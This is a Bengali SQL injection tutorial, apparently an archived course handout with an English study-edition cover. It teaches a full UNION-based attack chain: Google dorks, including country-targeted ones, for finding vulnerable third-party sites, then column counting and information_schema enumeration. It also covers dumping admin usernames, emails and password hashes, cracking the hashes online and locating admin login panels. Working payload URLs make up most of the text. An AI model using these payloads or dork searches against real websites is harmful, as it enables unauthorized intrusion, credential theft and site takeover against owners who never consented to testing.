UNION-Based Basic SQL Injection

ARENA B66 DELTA ARCHIVE - STUDY EDITION

Prepared 22 October 2026 from an instructor-shared course PDF. The original document pages follow this cover.

This is an edited, text-first study copy, not a byte-identical original. Third-party example hostnames and personal credential examples have been removed. Original raster images, including demonstration screenshots, are omitted. Source attribution and the original text/page order are retained where available.

Practice only on systems you own or are expressly authorized to test. Older examples and terminology are historical course material; a URL or query parameter does not by itself prove a vulnerability.

Lab-scoped search examples from the class study guide

```
site:lab.example.org inurl:"id="

site:lab.example.org inurl:details

site:lab.example.org "prepared statement"

site:cheatsheetseries.owasp.org "SQL Injection Prevention"
```

The examples above are archive-added exercises, not verbatim claims about the instructor. Replace the example domain only with an authorized scope. See the class video and edited Bengali notes for context.

Archive: https://arena-b66-delta-archive.vercel.app/

UNION -Based -Basic -SQL- Injection

05/02/2024

Archive study edition | 2026-10-22 | Original raster images omitted

Do NOT use this method to pentest any of Bangladeshi websites !

This book has been written for educational purposes. If anyone gets caught using this book in illegal activities, the author won't be responsible !!

Archive study edition | 2026-10-22 | Original raster images omitted

SQL কী ?

SQL এর পূর্ণরূপ হলো **Structured Query Language** । এই Language এর মাধ্যমে কোনো ওয়েবসাইটের Database বা তথ্যাদি সংরক্ষণ করে রাখা হয় ।

SQLi বা SQL Injection কী ?

SQLi হলো সেই পদ্ধতি যার মাধ্যমে আমরা আমাদের টার্গেট/ভিক্টিম ওয়েবসাইটের Database থেকে প্রয়োজনীয় তথ্য বের করে আনবো । আমি পর্যায়ক্রমে এই পদ্ধতিটি বর্ণনা করছি ।

প্রথম ধাপ : Vulnerable বা দুর্বল নিরাপত্তাসম্পন্ন ওয়েবসাইট খুঁজে বের করা

Vulnerable ওয়েবসাইট খুঁজে বের করার বহুল ব্যবহৃত পদ্ধতি হচ্ছে Google Dorks এর সাহায্য নেওয়া । আপনি বেশ কিছু Keyword সম্বলিত Dork এর মাধ্যমে Google এ search দেওয়া মাত্রই আপনার সামনে অসংখ্য সাইটের তালিকা চলে আসবে । আপনার প্রথম কাজ হলো, কোন কোন সাইট Vulnerable তা নির্ণয় করা ।
আমি সবচেয়ে প্রচলিত কয়েকটা Dork এখানে দিচ্ছি :

inurl:index.php?id=
inurl:main.php?id=
inurl:news.php?id=
inurl:page.php?id=
inurl:content.php?id=
inurl:detail.php?id=
inurl:article.php?id=

এই রকম আরও অহরহ Dorks আপনি পাবেন http://pastebin.com/rDkCKf2V এবং http://pastebin.com/3d5A2CYB এইলিঙ্কগুলোতে।

[NB:] Hackbar by Thundercat already pre-installed in cyberfox portable version.

আমি উপর থেকে inurl:index.php?id= এই Dork টি নিয়ে Google এ search দিলাম এবং নিচের ছবির মতো result পেলাম ।

Archive study edition | 2026-10-22 | Original raster images omitted

এমন অনেকগুলো সাইট আপনি পাবেন। আমি যেকোনো একটি সাইট বেছে নিলাম।
আমার টার্গেট সাইট :
http://lab.example.org /index.php?option=page&item=show&item_id=53

আপনি যদি কোনো নির্দিষ্ট দেশের site খুঁজতে চান, তাহলে Dork গুলোর শেষে সেই দেশের site এর extension যোগ করে দিতে হবে। যেমন, আপনি যদি ভারতের (.in) সাইট খুঁজতে চান, সেক্ষেত্রে Dork হবে এমন :
inurl:index.php?id= site:.in
কিংবা,
inurl:main.php?id= site:.in

এখন দেখার পালা এই সাইটটি Vulnerable কি না অর্থাৎ আমরা SQLi পদ্ধতিতে এই সাইটের Database থেকে তথ্য বের করতে পারবো কি না। এটা পরীক্ষা করার জন্য আমরা সাইটটির URL এর একদম শেষে একটি single quotation mark (') যোগ করবো। আমাদের টার্গেট সাইটের URL এর শেষে (') এর চিহ্নটি দেওয়ার পর নিচের ছবির মতো কিছু error message আসে।

উপরের ছবিটির মতো আরও বেশ কয়েক রকম error message আসতে পারে। যেমন :

You have an error in your SQL syntax
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

এই রকম error message পেলে আমরা বুঝতে পারবো যে আমাদের টার্গেট সাইটটি Vulnerable।
তবে সবসময় যে এমন গৎবাঁধা error পাবেন, তা নয়। দেখা যেতে পারে, আপনি URL এর শেষে (') চিহ্ন যোগ করার পর পেইজের ছবি কিংবা সেই পেইজের টেক্সটগুলো ঠিকমতো লোড হচ্ছে না। এটাও Vulnerability চিহ্ন।

দ্বিতীয় ধাপ : টার্গেট সাইটের Database এর Column সংখ্যা বের করা

টার্গেট সাইটের Database এর Column সংখ্যা বের করার জন্য আমরা "+order+by+" কমান্ড ব্যবহার করবো।

Archive study edition | 2026-10-22 | Original raster images omitted

তাহলে লিঙ্কটি দাঁড়ায়,
http://lab.example.org /index.php?option=page&item=show&item_id=5 3+order+by+

এখন আপনার কাজ হলো, URL এর শেষে + চিহ্নের পরে বিভিন্ন integer বা সংখ্যা বসিয়ে ততক্ষণ পর্যন্ত চেষ্টা করে যাওয়া যতোক্ষণ না পর্যন্ত আপনি আবার কোনো error message পাচ্ছেন ।

আমি 1 বসিয়ে চেষ্টা করলাম, কোনো error message আসলো না ।
http://lab.example.org /index.php?option=page&item=show&item_id=5 3+order+by+1--
অনুরূপভাবে 1 এর স্থলে 2,3,4,5,6,7,8,9,10,11,12,13 পর্যন্ত একটা একটা করে সংখ্যা বসিয়ে কোনো error message পেলাম না । কিন্তু যখন 14 বসালাম, তখনই আমি একটা error message পেলাম ।

তারমানে আমাদের টার্গেট সাইটের Database এর Column সংখ্যা 13 !!

বিশেষ দ্রষ্টব্য ১ : প্রায় সময়ই দেখা যাবে, আপনি "+order+by+1000—" কমান্ড ব্যবহার করলেও কোনো সেক্ষেত্রে "+order+by+" কমান্ডটা একটু ভিন্নভাবে ব্যবহার করতে হবে :

http://lab.example.org /index.php?id=5'+order+by+1--+

পার্থক্যটু

Archive study edition | 2026-10-22 | Original raster images omitted

index.php?id=5 এর পর অতিরিক্ত একটি (') চিহ্ন এবং একদম শেষে অতিরিক্ত একটি + চিহ্ন ব্যবহার করা হয়েছে।

বিশেষ দ্রষ্টব্য ২ : যেহেতু error message পাওয়ার এই ২টি পদ্ধতি রয়েছে, তাই আপনাকে আগে দেখে নিতে হবে এর মধ্যে কোন পদ্ধতিতে error message আসবে । সেক্ষেত্রে প্রথমে আপনি http://lab.example.org /index.php?id=5+order+by+1000-- এইভাবে চেষ্টা করে দেখবেন কোনো কি না । যদি না পান, তাহলে এইবার http://lab.example.org /index.php?id=5'+order+by+1000--+ এইভাবে চেষ্টা করবেন । আশা য়ে যাবেন ।

এই টিউটোরিয়ালের টার্গেট সাইটে আমরা Database Column পেয়েছি 13 টি । কিন্তু অনেক সময় দেখা যায়, এর চেয়েও বেশি Column থাকে । সেক্ষেত্রে কী উপায়ে খুব দ্রুত আপনি Database Column সংখ্যা বের করতে পারবেন ?

মনে করি, আমরা এমন একটি সাইট পেয়েছি যার Database Column সংখ্যা 78 যা আমরা জানি না, আমাদেরকে তা Inject করে বের করতে হবে । প্রথম উপায় হলো, আপনি 1 থেকে শুরু করে 79 পর্যন্ত চেষ্টা করে যাবেন যা অনেক কষ্টসাধ্য হতে পারে ! সেক্ষেত্রে আমরা Binary Search concept ব্যবহার করবো ।
সাধারণত, কোনো সাইটের Database Column 100 এর উপর থাকে না । তো প্রথমে আমরা ধরে নিবো, আমাদের টার্গেট সাইটের Database Column সংখ্যা 100 । তাহলে http://lab.example.org /index.php?id=5+order+by+100-- দিলে error message আসার কথা নয়, কিন্তু আমরা error message পেলে বুঝতে হবে, আমাদের টার্গেট সাইটের Database Column সংখ্যা 1 থেকে বড় কিন্তু 100 থেকে ছোট ।

এবার আমরা 1 ও 100 এর মধ্যবর্তী সংখ্যাটি নিবো এবং তা হলো 50। তাহলে http://lab.example.org /index.php?id=5+order+by+50-- দিলে কোনো error message আসছে না । এর মানে হলো, এই সাইটের Database Column সংখ্যা 50 থেকে বড় এবং 100 থেকে ছোট !

এবার আমরা 50 ও 100 এর মধ্যবর্তী সংখ্যাটি নিবো এবং তা হলো 75। তাহলে http://lab.example.org /index.php?id=5+order+by+75-- দিলে কোনো error message আসছে না । এর মানে হলো, এই সাইটের Database Column সংখ্যা 75 থেকে বড় এবং 100 থেকে ছোট !

এবার আমরা 75 ও 100 এর মধ্যবর্তী সংখ্যাটি নিবো এবং তা হলো 87। তাহলে http://lab.example.org /index.php?id=5+order+by+87-- দিলে আমাদের কাঙ্ক্ষিত error message টি আমরা দেখতে পাবো । এর মানে হলো, এই সাইটের Database Column সংখ্যা 75 থেকে বড় এবং 87 থেকে ছোট !

Archive study edition | 2026-10-22 | Original raster images omitted

এবার আমরা 75 ও 87 এর মধ্যবর্তী সংখ্যাটি নিবো এবং তা হলো 81। তাহলে http://lab.example.org /index.php?id=5+order+by+81-- দিলেও আমাদের কাঙ্ক্ষিত error message টি আমরা দেখতে পাবো । এর মানে হলো, এই সাইটের Database Column সংখ্যা 75 থেকে বড় এবং 81 থেকে ছোট !

এবার আমরা 75 ও 81 এর মধ্যবর্তী সংখ্যাটি নিবো এবং তা হলো 78। তাহলে http://lab.example.org /index.php?id=5+order+by+78-- দিলে কোনো error message আসছে না । তার মানে আমাদের টার্গেট সাইটের Database Column এর জন্য ছোট্ট একটা range আমরা পেয়ে গেলাম এবং তা হলো 78 থেকে 81 ! আমরা 78, 79, 80 বসিয়ে দেখতে পাই যে, 79 ও 80 এর জন্য error message আসলেও 78 এর জন্য আসছে না । সুতরাং, আমাদের টার্গেট সাইটের Database Column সংখ্যা 78 !

কম্পিউটার সাইন্সের একটি বহুল প্রচলিত পদ্ধতি হলো Binary Search। উপরের এই পদ্ধতিটি সেই method এর concept এর উপর ভিত্তি করেই বানানো । এই পদ্ধতি অনুসরণ করে আপনি খুব দ্রুত যেকোনো Vulnerable সাইটের Database Column সংখ্যা বের করতে পারবেন ।

তৃতীয় ধাপ : Vulnerable Column এবং Database Version খুঁজে বের করা

মনে আছে, আমাদের টার্গেট সাইটের Database এ কয়টি Column আছে ? 13 টি । এখন আমরা "+union+select" কমান্ড ব্যবহার করে Vulnerable Column গুলো খুঁজে বের করবো । প্রদত্ত কমান্ড ব্যবহার করে URLটি দাঁড়ায় :
http://lab.example.org /index.php?option=page&item=show&item_id=-53+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--

ভালো করে খেয়াল করুন আমি অতিরিক্ত কী কী ব্যবহার করেছি।
index.php?option=page&item=show&item_id=-53 এখানে 53 এর আগে অতিরিক্ত একটি "-" চিহ্ন ব্যবহার করেছি। তারপর +union+select+ কমান্ড লিখে যতোগুলো Column আমরা এর আগের ধাপে পেয়েছিলাম, তা কমা(,) দিয়ে লিখে দিলাম এবং সাথে সাথে পেয়ে গেলাম কোন Column গুলো Vulnerable !

Archive study edition | 2026-10-22 | Original raster images omitted

13 টি Column এর মধ্যে 2 আর 5 নম্বর Column দু'টি Vulnerable । যেই Column গুলো Vulnerable, সেই Column গুলোর যেকোনো একটির স্থলে "@@version" ব্যবহার করে Database এর Version জানা যেতে পারে । আমি 5 এর স্থলে @@version কমান্ড ব্যবহার করলাম ।

http://lab.example.org /index.php?option=page&item=show&item_id=-53+union+select+1,2,3,4,@@version,6,7,8,9,10,11,12,13--

আর ঠিক 5 এর জায়গায় পেয়ে গেলাম Database এর Version !!

Archive study edition | 2026-10-22 | Original raster images omitted

আমরা যে পদ্ধতিতে সামনের দিকে আগাবো, তার জন্য Database Version অবশ্যই 5 বা তার উপরে হতে হবে । আমাদের টার্গেট সাইটের Database Version হলো **5.0.96-community** !

চতুর্থ ধাপ : Database এর Table বের করা

একটি Database বেশ কিছু Table নিয়ে গঠিত হয় । আমরা কিছু কমান্ড ব্যবহার করে সেই Database এর Table গুলো বের করবো । এক্ষেত্রে আমরা ব্যবহার করবো "group_concat(table_name)" এবং "+from+information_schema.tables+where+table_schema=database()" কমান্ড ।
URL এর Vulnerable Column এর জায়গায় আমরা "group_concat(table_name)" কমান্ড এবং URL এর শেষে "+from+information_schema.tables+where+table_schema=database()" এই কমান্ড ব্যবহার করবো । তাহলে URL টি দাঁড়ায় :
http://lab.example.org /index.php?option=page&item=show&item_id=-53+union+select+1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13+from+information_schema.tables+where+table_schema=database()--

তাহলে নিচের ছবির মতো দেখতে পাবেন, আমাদের টার্গেট সাইটের Database এর Table Name গুলো চলে এসেছে !

Archive study edition | 2026-10-22 | Original raster images omitted

Table সংখ্যা বেশী হওয়ায় পুরো ফ্রেমে সবগুলোর নাম আসেনি। মাঝে এমনও হবে যে আপনিও সবগুলো Table এর নাম ঠিকমতো দেখতে/পড়তে পারবেন না। সেক্ষেত্রে আপনার করণীয় হলো সেই page এর source code থেকে সবগুলো Table এর নাম বের করা।

Archive study edition | 2026-10-22 | Original raster images omitted

এই Table গুলো থেকে আপনাকে সেই Table টি খুঁজে বের করতে হবে যেই Table এ site admin এর username ও password রাখা আছে। Table গুলো দেখেই বুঝা যাচ্ছে, প্রথম Table টি অর্থাৎ "admin" Table এ site admin এর username ও password রাখা আছে !

পঞ্চম ধাপ : Admin Table এর Column Name বের করা

এক্ষেত্রে আমরা "group_concat(column_name)" ও "+from+information_schema.columns+where+table_name=" কমান্ড ব্যবহার করবো।

তার আগে আমরা যে Table টির Column Names বের করতে চাই, সেই Table Name কে MySQL CHAR এ রূপান্তর করে নিতে হবে। আমি শুরুতেই আপনাকে Hackbar addon টি ইন্সটল করে নিতে বলেছি। যদি আপনি ইন্সটল করে থাকেন ইতোমধ্যে, তাহলে Keyboard থেকে F9 বাটন প্রেস করে Hackbar টি ওপেন করুন। তারপর নিচের ছবির মতো SQL > MySQL > MySQL CHAR() সিলেক্ট করুন।

Archive study edition | 2026-10-22 | Original raster images omitted

তাহলে নিচের ছবির মতো একটি বক্স আসবে । সেখানে আপনি আপনার কাঙ্ক্ষিত Table Name টি লিখে OK বাটনে প্রেস করুন ।

OK বাটনে প্রেস করার সাথে সাথে Hackbar এর ফাঁকা অংশে আপনার প্রদত্ত Table Name এর CHAR এ রূপান্তরিত কোড পাবেন ! admin এর জন্য আমরা পেলাম CHAR(97, 100, 109, 105, 110) ।

নিচের ছবিটি দেখুন :

Archive study edition | 2026-10-22 | Original raster images omitted

এখন এই CHAR code এর মাধ্যমে আমরা আমাদের কাঙ্ক্ষিত Table এর Column Name গুলো বের করবো । প্রদত্ত কমান্ডগুলো সহকারে URL টি দাঁড়ায় :

http://lab.example.org /index.php?option=page&item=show&item_id=-53+union+select+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12,13+from+information_schema.columns+where+table_name=CHAR(97, 100, 109, 105, 110)--

খেয়াল করুন – আগের ধাপে আমরা যেখানে Vulnerable Column এর স্থলে group_concat(table_name) ব্যবহার করেছিলাম, এই ধাপে এসে তার পরিবর্তে group_concat(column_name) ব্যবহার করলাম এবং +from+information_schema.columns+where+table_name= এর শেষে CHAR এ রূপান্তরিত কোডটি বসিয়ে দিলাম এবং নিচের ছবির মতো করে আমাদের কাঙ্ক্ষিত admin Table এর Column Name গুলো পেয়ে গেলাম !

ষষ্ঠ ধাপ : Admin Table থেকে username/password বের করা

আমাদের কাঙ্ক্ষিত admin Table থেকে আমরা যে Column গুলো পেয়েছি, তা হলো :
id,full_name,username,password,email,user_id,full_name,email,password

আমরা এখানে থেকে username, password এবং email বের করবো। এর জন্য আমরা পূর্ববর্তী ধাপে ব্যবহৃত কমান্ডগুলো ব্যবহার করবো একটু পরিবর্তিত আকারে।
"group_concat(column_name)" কমান্ডের column_name এর স্থলে আমরা যে যে Column গুলোর data বের করতে চাই, সেগুলো লিখবো; Column Name গুলোর মাঝে 0x3a ব্যবহার করবো। তাহলে আমাদের কমান্ডটি দাঁড়াবে : "group_concat(username,0x3a,email,0x3a,password)"

আর URL এর শেষে ব্যবহার করবো "+from+admin" কমান্ড। লক্ষ্য করুন, এর আগের ধাপে আমরা আমাদের কাঙ্ক্ষিত Table Name এর CHAR code ব্যবহার করলেও এবার শুধুমাত্র +from+ এর পর সরাসরি সেই Table Name টি ব্যবহার করবো।
প্রদত্ত কমান্ডগুলো সহকারে URL টি দাঁড়ায় :
http://lab.example.org /index.php?option=page&item=show&item_id=-53+union+select+1,2,3,4,group_concat(username,0x3a,email,0x3a,password),6,7,8,9,10,11,12,13+from+admin--

তাহলে আমরা নিচের ছবির মতো করে আমাদের কাঙ্ক্ষিত তথ্যগুলো অর্থাৎ username, password এবং email পেয়ে যাবো।

Archive study edition | 2026-10-22 | Original raster images omitted

সপ্তম ধাপ : Crack Hashed Password

আমরা এতোক্ষণ পর্যন্ত SQLi করে যে পাসওয়ার্ডটা পেলাম, এটা কিন্তু site admin এর আসল পাসওয়ার্ড না ! বিশেষ উপায়ে site admin এর আসল পাসওয়ার্ডটি encrypt করা হয়েছে যাকে আমরা বলবো Hash । এটি একটি MD5 Hash অর্থাৎ আসল পাসওয়ার্ডটিকে MD5 Encryption পদ্ধতিতে Hash করা হয়েছে । বহুল প্রচলিত Encryption method গুলো হলো MD5 ও SHA1 । যেকোনো পাসওয়ার্ডকে এমনভাবে Hash করা হয়ে থাকে যে উলটো পদ্ধতিতে সেই Hash থেকে আসল পাসওয়ার্ডটা বের করা অসম্ভব, কারণ এটি হলো one way encryption ! কিন্তু তারপরও এই Hash গুলো crack করার উপায় রয়েছে । অনলাইনে আপনি বেশ কিছু সাইট থেকে Hash crack করে নিতে পারবেন যদি সেই পাসওয়ার্ডটা কোনো common শব্দ হয় !

আমি ৩টি সাইট দিচ্ছি, সবসময় এই ৩টি সাইটে চেষ্টা করবেন :

> http://aiisoo.com/ (এদের wordlist huge)
> https://crackstation.net/
> http://www.hashkiller.co.uk/

এছাড়াও আপনি Hash টি Google এ search করে দেখতে পারেন । এছাড়াও Hash crack করার বেশ কিছু tools রয়েছে । ইন্টারনেট ঘেঁটে দেখতে পারেন ।

বিশেষ দ্রষ্টব্য : সব ওয়েবসাইটের admin password এমন Hash করে রাখে, তা নয় । এমন অনেক ওয়েবসাইট পাবেন যেগুলোর password plain text আকারে Database এ থাকবে ।

অষ্টম ধাপ : Admin Login Panel বের করা

ঘরে ঢুকার চাবি তো পেলেন, এখন প্রয়োজন ঘরে ঢুকার জন্য দরজা খুঁজে বের করা অর্থাৎ Admin Login Panel/Page বের করা ।

এর জন্য কিছু সাইট রয়েছে । যেমন :

> http://www.scan.subhashdasyam.com/admin-panel-finder.php

বেশ কিছু tools ও রয়েছে Admin Panel খুঁজে বের করার জন্য ।

Archive study edition | 2026-10-22 | Original raster images omitted

আমাদের টার্গেট সাইটের Admin Login Panel হলো :

http://lab.example.org /admin/login.php

[ছবিগুলো যদি ঝাপসা লাগে কিংবা বুঝতে কোনো অসুবিধা হয়, তবে আমাকে মেইল করুন]

roman@arenawebsecurity.net

Archive study edition | 2026-10-22 | Original raster images omitted